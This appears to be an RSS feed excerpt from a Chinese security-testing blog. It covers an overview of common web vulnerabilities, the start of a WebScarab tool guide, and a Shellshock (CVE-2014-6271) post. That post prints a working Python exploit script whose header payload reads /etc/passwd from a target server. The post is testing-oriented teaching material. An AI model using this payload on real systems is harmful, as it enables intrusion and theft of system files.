style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　j2ee应用架构开始占主流，典型的web服务器搭配配置失误</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Jenkins平台没有设置登录验证</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　zabbix</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　zenoss监控系统</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Resin文件读取</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　memcache未限制访问IP</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　JBoss问题</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　测试服务器外网可访问</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　padding oracle attack</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　用户名密码放在服务器上&#8230;&#8230;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　A8: 跨站请求伪造(CSRF)</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　CSRF曾被称为沉睡的巨人，以前拿来举例时都是说Alice给Bob转钱，结果morry插了一脚，钱就跑到morry家去了。危害可大可小，直接通过URL增删改操作的也还有，更多的还是基于表单。如果是XSS+CSRF =&gt;蠕虫 就比较可观了，也曾看到过直接get root的案例<br /></a><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><strong style="word-break: break-all; line-height: normal !important;">案例：万达电影主站 xss + csrf</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A10: 无效的重定向</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　控制重定向可以钓鱼，可以获取敏感文件的信息，在struts2中也有开放重定向的命令执行</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">0x03 乌云TOP 10 简单介绍</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　上述就是OWASP TOP10的WEB漏洞，乌云出了一个更加符合中国国情的 乌云：Top10 for 2014，看着也是触目惊心</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A1-互联网泄密事件/撞库攻击</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　本质上来说是使用了不安全的口令，也许我可以将自己的密码设置的很复杂，别人破解不出来。但对于撞库攻击而言，可以说是不怕神一样的对手，就怕猪一样的队友。我们注册使用的网站或服务商他们保存了我们使用的密码，而很多时候被泄露出去了我们并不知道。这也是考验我们密码习惯的时候了，强密码+不同的密码，当然密码多了也难以记住，不行就借助软件或者普通账号用同一个密码，重要账号用不同密码吧</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A2-引用不安全的第三方应用</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　举的例子是heart bleed漏洞使用的openssl，另外struts2的漏洞也还数见不鲜，其次就是CMS如wordpress使用的插件,当然shellshock也会有很多中枪的</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A3-系统错误/逻辑缺陷带来的暴力猜解</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　暴力破解：没对请求和错误次数做限制；重放攻击同样是没做检验或限制</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A4-敏感信息/配置信息泄露</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　包括但不限于目录遍历、日志、配置文件、svn目录、github或其他博客等地方</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A5-应用错误配置/默认配置</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　包括但不限于默认路径、默认口令、目录穿越、任意文件下载等</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A6-SQL注入漏洞</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A7-XSS跨站脚本攻击/CSRF</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A8-未授权访问/权限绕过</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　可匿名访问\判断referer值后免登陆</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A9-账户体系控制不严/越权操作</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A10-内部重要资料/文档外泄</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　还是信息泄露，但是做了区分，不同于应用或服务器的信息泄露，专指内部信息泄露哟</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">0x04 非主流的WEB漏洞</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　实际上，如果要挖漏洞或者做测试，从乌云上找案例会比较方便，除了常见的几类代码层面的问题，更多的是配置不当方面的，最终归结到信息安全链上最脆弱的还是人本身</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　除了上面提到的这些，其实还有很多的漏洞啊，跟设备有关系的就先不说了，再提一下两个看起来不错的：XXE、SSRF(or XSPA)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　XXE：XML外部实体注入，不仅仅是敏感信息泄露，腾讯安全中心：XXE漏洞攻防</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　案例：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　1. 乌云：百度某功能XML实体注入</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2. 乌云：139邮箱XXE漏洞可读取文件</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　3. 乌云：从开源中国的某XXE漏洞到主站shell</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　SSRF(服务端请求伪造): 据说用这招可以成功多次进入阿里、腾讯、百度等的内网，没爆出来的估计很多被用作杀器了</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　案例：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　1. 乌云：百度贴吧SSRF</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2. 乌云：新浪SSRF</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　3. 乌云：阿里巴巴SSRF</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　上面几个案例有的是分享功能，有的是其他功能，共同点在于都是跟的url参数，且没做限制，导致内网信息泄露</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　（未完...）</div></a></div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421646.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-22 23:42 <a href="http://www.blogjava.net/qileilove/archive/2014/12/22/421646.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Bash远程命令执行漏洞(CVE-2014-6271)分析利用</title><link>http://www.blogjava.net/qileilove/archive/2014/11/26/420619.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 26 Nov 2014 06:20:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/11/26/420619.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/420619.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/11/26/420619.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/420619.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/420619.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　这几天Bash被爆存在远程命令执行漏洞(CVE-2014-6271)，昨天参加完isc，晚上回家<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>了一下，写了个python版本的测试小基本，贴上代码：</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.727233886719px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">#coding:utf-8</div><div style="word-break: break-all; margin: 10px 0px;">import urllib,httplib</div><div style="word-break: break-all; margin: 10px 0px;">import sys,re,urlparse</div><div style="word-break: break-all; margin: 10px 0px;">#author:nx4dm1n</div><div style="word-break: break-all; margin: 10px 0px;">#website:www.nxadmin.com</div><div style="word-break: break-all; margin: 10px 0px;">def bash_exp(url):</div><div style="word-break: break-all; margin: 10px 0px;">urlsp=urlparse.urlparse(url)</div><div style="word-break: break-all; margin: 10px 0px;">hostname=urlsp.netloc</div><div style="word-break: break-all; margin: 10px 0px;">urlpath=urlsp.path</div><div style="word-break: break-all; margin: 10px 0px;">conn=httplib.HTTPConnection(hostname)</div><div style="word-break: break-all; margin: 10px 0px;">headers={"User-Agent":"() { :;}; echo `/bin/cat /etc/passwd`"}</div><div style="word-break: break-all; margin: 10px 0px;">conn.request("GET",urlpath,headers=headers)</div><div style="word-break: break-all; margin: 10px 0px;">res=conn.getresponse()</div><div style="word-break: break-all; margin: 10px 0px;">res=res.getheaders()</div><div style="word-break: break-all; margin: 10px 0px;">for passwdstr in res:</div><div style="word-break: break-all; margin: 10px 0px;">print passwdstr[0]+':'+passwdstr[1]</div><div style="word-break: break-all; margin: 10px 0px;">if __name__=='__main__':</div><div style="word-break: break-all; margin: 10px 0px;">#带http</div><div style="word-break: break-all; margin: 10px 0px;">if len(sys.argv)&lt;2:</div><div style="word-break: break-all; margin: 10px 0px;">print "Usage: "+sys.argv[0]+"www.nxadmin.com/cgi-bin/index.cgi"</div><div style="word-break: break-all; margin: 10px 0px;">sys.exit()</div><div style="word-break: break-all; margin: 10px 0px;">else:</div><div style="word-break: break-all; margin: 10px 0px;">bash_exp(sys.argv[1])</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　脚本执行效果如图所示：</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49435" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/11/14982672_201411171139281ALzs.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　bash命令执行</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　也可以用burp进行测试。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　利用该漏洞其实可以做很多事情，写的python小脚本只是执行了cat /etc/passwd。可以执行反向链接的命令等，直接获取一个<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">shell</strong></u></a>还是有可能的。不过漏洞存在的条件也比较苛刻，测试找了一些，发现了很少几个存在漏洞。</div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/420619.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-11-26 14:20 <a href="http://www.blogjava.net/qileilove/archive/2014/11/26/420619.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Web安全测试-WebScarab工具介绍</title><link>http://www.blogjava.net/qileilove/archive/2014/11/06/419572.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 06 Nov 2014 02:32:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/11/06/419572.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/419572.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/11/06/419572.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/419572.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/419572.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">1.1&nbsp;<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Webscarab</strong></u></a></strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　【功能】</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　WebScarab是一个用来分析使用HTTP和HTTPS协议的应用程序框架。其原理很简单，WebScarab可以记录它检测到的会话内容（请求和应答），并允许使用者可以通过多种形式来查看记录。WebScarab的设计目的是让使用者可以掌握某种基于HTTP（S）程序的运作过程；可以用它来调试程序中较难处理的bug，也可以帮助安全专家发现潜在的程序漏洞。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　【适用对象】</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　分析使用HTTP和HTTPS协议的应用程序框架</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　1.1.1 工具安装</strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　WebScarab需要在<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">java</strong></u></a>环境下运行，因此在安装WebScarab前应先安装好java环境（JRE或JDK均可）。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　安装好jdk后，右击安装文件：webscarab-installer-20070504-1631.jar 选择&#8220;打开方式&#8221;如下图：</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49205" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/11/14982672_2014110511300017O98.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　然后进入安装界面，下一步下一步安装即可。</div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　1.1.2 功能原理</strong></div><div style="word-break: break-all; line-height: 21.6000022888184px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.8181819915771px; background-color: #ffffff;">　　